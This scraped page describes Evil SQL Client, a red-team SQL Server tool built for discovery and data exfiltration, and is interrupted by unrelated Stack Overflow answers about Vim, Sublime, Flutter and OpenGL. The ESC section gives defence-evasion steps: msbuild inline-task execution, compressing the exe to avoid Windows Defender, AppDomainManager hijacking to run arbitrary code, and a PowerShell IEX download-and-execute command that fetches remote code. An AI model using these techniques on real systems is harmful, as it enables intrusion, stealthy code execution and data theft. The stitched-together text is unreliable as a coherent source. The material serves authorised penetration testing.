ESC | Evil SQL Client is an interactive .NET SQL console | Command Line Interface library
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-------------------------- Evil SQL Client (ESC) Version: v1.0 Author: Scott Sutherland (@_nullbind), NetSPI 2020 Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting Active Directory domain joined SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.
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Answered 2022-Apr-08 at 11:08The vertex order of line primitives differs from the vertex order of quads. See GL_LINES not showing up on top of cube?. However, you can draw GL_QUADS
and change the rasterization mode with glPolygonMode
:
QUESTION
I am trying to show native ads in Flutter.
https://codelabs.developers.google.com/codelabs/admob-inline-ads-in-flutter
https://github.com/googlecodelabs/admob-inline-ads-in-flutter
I used this codelab but they are showing small native ads.
In fact, I successfully implemented their codelab in my Flutter project.
But I want to make size medium, not small.
https://developers.google.com/admob/ios/native/templates
GADTSmallTemplateView(It seems this one, I don't want like small size)
GADTMediumTemplateView(My aim is to make my native ads like this one)
What is height in the codelab?
...ANSWER
Answered 2022-Mar-08 at 16:21I summed height of all elements in the design. It was 308. Then, I think 310 will be an ideal number. No problem, when I make it 310. Everything seems good.
QUESTION
I'm writing complex configuration files for a data transformation tool with Perl 5.20.
The configuration file has placeholders for several aspects at load time and runtime encapsulating some path code like
...ANSWER
Answered 2022-Jan-31 at 00:05Here is an example of how you can use a recursive regex to exclude nested versions of ${...}
:
QUESTION
I started studying VIM around 3 days ago. And now I'm stuck creating macros.
On the beginning of learning VIM I created mapping: jk -> ESC for convenience (inoremap jk
). Now my macros works correctly only if I pressed ESC; with jk they don't work properly.
For example I create macros to add :
to the beginning and end of line:
ANSWER
Answered 2022-Jan-29 at 19:34You need to move the comment up.
Instead of:
QUESTION
I am setting Extension VSCode Neovim
for Mac
.
I added the following code to settings.json
to use init.vim
with my keybinds set.
I can use vim in vscode
, but key bindings don't work.
Do I need other settings besides settings.json
?
settings.json
ANSWER
Answered 2021-Dec-01 at 13:15VSCode-Neovim works differently than regular Neovim, specifically in insert mode is managed by VS Code using keybindings.json
For example if you need to map jj
to you can add this to your keybindings.json
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Well, I have already started my journey into Vim, after learning the basis I was in the process of setting my _vimrc
in order to achieve the behaviour that I want Vim to have while using it as my editor of preference. I was able to get a pretty solid configuration. However, there is something that I still do not know how to do, what I am trying to do is the following:
Consider that I wrote stuff like:
Then I press in order to get into normal mode. What I get after that is:
Finally, I press I
in order to get into insert mode and the position of the cursor is:
How can I force Vim to start insert mode with the indent relative to the block the cursor is at? In other words, achieve the starting position in the first screenshot when changing the mode instead of that in the third screenshot.
Almost all of my _vimrc
file is made of:
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Answered 2021-Nov-28 at 10:05First, the behaviour described here is not governed by any option. It is up to the user to handle the situation as they see fit. What happens is that Vim removes any automatically inserted indentation on lines that only consist of indentation in order, presumably, to prevent trailing spaces.
You wouldn't want trailing spaces, would you?
Second, why do you immediately go back to normal mode and enter insert mode again if you are already in insert mode and at the right column? Wouldn't that be simpler and more intuitive to… keep on typing?
Anyway, this is a common trap for beginners with three common approaches.
First approachInsert something and immediately remove it before pressing so that the automatic indentation is preserved:
Let Vim do its thing and adjust indentation during insert mode:
See :help i_ctrl-t
.
Let Vim do its thing and press S
instead of I
to enter insert mode at the right indentation level:
See :help S
.
Using Vim efficiently is pretty much all about mindfulness and using the best tool/technique for the current context. Something called "situational awareness" in some domains. Opening a line only to go somewhere else before coming back may or may not be the most appropriate action given the current context. Maybe that line should only be opened when you actually need to insert something, after you have been to somewhere else? Maybe what you had to do somewhere else could be done differently and you actually don't have to go there to begin with?
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I would like to make sure that my implementation of a Popover element combined with a trigger button works as expected. I was unable to have a working test for asserting that the Popover gets closed after the user presses esc. I was able to make this test work with Modal, but I must use a Popover in my current project.
Component code:
...ANSWER
Answered 2021-Nov-17 at 04:26As suggested by @juliomalves, wrapping the last expect
in a waitFor
corrected the test:
QUESTION
I noticed that the behavior in Sublime Text 4 seems to have changed in the latest release. Previously I could hit F12 to bring up all the definitions of a symbol with a little pop-up showing a list of all instances. I could preview them all using the arrow keys to navigate and then hit ESC to return from where I came. It seems that since the latest version, hitting escape lands me on whichever page I was previewing. Previously this would require me pressing "enter". Does anyone know if this is now a setting or how I can get the old functionality back?
...ANSWER
Answered 2021-Nov-04 at 20:26I ended up finding one workaround based on koe's suggestion. It seems like if you switch tabs before hitting escape, Sublime exhibits the desired behavior. With this in mind I tried to bind a keystroke to switch tabs and the issue the "cancel" command and it worked.
I bound this command chain to the "escape" key and it has restored my workflow. I'm not sure if this will have implications for using escape in another context but I'll update if I find out anything else.
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first time posting here, so I apologise in advance in case I miss something important, please let me know if that's the case!
I'm writing a console application that has a menu with several different options in different layers, and I'm trying to make a function that will, at any time as the user works in these menus, notice if the Esc key is pressed. To make my code less cluttered I wrote a separate method that I can simply call at any point when I'm asking for input (like a choice, or entering information into a form, or such). The problem I have is that it always cancels out the first key press. If a user enters a number to move in the menu, the number doesn't get entered, if they enter a name into a form the first letter is missing etc. Is there a way around this?
The code currently looks like this;
...ANSWER
Answered 2021-Nov-01 at 15:39You need to write your own line editor instead of using Readline. It's described in the link below. You may need to add support for other control keys such as backspace or add a check that only numeric keys are being pressed.
QUESTION
I have read and pieced multiple projects together in order to create an x11 window with open gl working, with the preinstalled GL/gl.h and GL/glx.h. The problem I get is that the triangles I want to draw to the screen does not show. What I think is that I have not setup any projecting parameters etc, or that the triangles doesn't get drawn to the space I want to draw to.
I do get a window and I am able to setup xevents that triggers after I have subscribed with eventmasks. Pressing 'esc' key will trigger an event which will in the end call Shutdown()
and break the loop, free up x11 and gl stuff, and lastly exit the program. So the only thing that doesn't work is the drawing to screen stuff which basically is the main point of my program.
How can I resolve this?
main.cpp:
...ANSWER
Answered 2021-Oct-22 at 15:11Your code will not render the triangle, but will generate GL_INVALID_OPERATION
on your glBegin
/glEnd
construct instead. The reason lies here:
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Install ESC
Run esc.exe.
Evil SQL Client console can be run through msbuild inline tasks using the esc.csproj file or esc.xml file. Using msbuild.exe to execute .net code through inline tasks is a technique that was researched and popularized by Casey Smith. esc.proj esc.proj includes all of the original Evil SQL Client (ESC) C Sharp source code inline. The inline .NET source code technique used in this variation seems to do a better job of avoiding detection than embedding the exe and calling through reflection. esc.xml esc.xml works a little differently and has the entire esc.exe hardcoded as a string which is then loaded through reflection using a technique highlighted in the GhostBuild project by @bohops. I should note that Windows Defender is pretty good at identifying this exe wrapping technique out of the box.
Download and compile esc.exe.
Run Out-Compressdll (by @mattifestation) against esc.exe. Out-CompressedDll -FilePath esc.exe | out-file output.txt
Replace the compressedBin string in esc.xml with the "EncodedCompressedFile" string generated from Out-CompressDll.
Replace compressedBinSize with the size generated from Out-CompressDll.
Run the script. C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe esc.xml
Below are some quick instructions for running ESC functions through PowerShell.
Download esc.exe.
Open PowerShell and load esc.exe through reflection. [System.Reflection.Assembly]::LoadFile("c:\temp\esc.exe")
Alternatively, esc-example.ps1 contains a portable example generated using Out-Compressdll. It can be loaded using the PowerShell command below. IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/esc-example.ps1")
After the assmbly is loaded you can run the desired function. Examples below.
Application domains provide an isolation boundary for security, reliability, and versioning, and for unloading .NET assemblies. Application domains are typically created by runtime hosts, which are responsible for bootstrapping the common language runtime before an application is run. A typical application loads several assemblies into an application domain before the code they contain can be executed. The default AppDomainManager can be replaced by setting the APPDOMAIN_MANAGER_ASM and APPDOMAIN_MANAGER_TYPE environmental variables. This provides users with the means load and execute .NET code from custom assemblies prior to the execution of the intended application, but within their process and thread. It is possible to leverage that functionality and default write access to the c:\windows\system32\tasks\ directory to execute arbitrary .NET code through c:\windows\system32\ and c:\windows\SysWow64\ assemblies that import mscoree.dll. This technique was originally shared during Casey Smith's DerbyCon presentation ".Net Manifesto - Win Friends and Influence the Loader".
Compile esc-appdomain-hijack.cs to tasks.dll.
Update environment variables. Note: process, user, or system could be targeted.
Copy tasks.dll to target directories.
Identify .exe in c:\windows\system32\ that load mscoreee.dll. This can be done quickly using the Get-PE function from Matt Graeber's PowerShell Arsenal Project.
Choose one of the affected commands and run it.
Create the file trigger.js with the content below.
Execute it using cscript.exe.
Create a configuration file in same folder as the target assembly, and name it after the target binary. Example below.
Below is sample XML for the config file.
Run the target binary.
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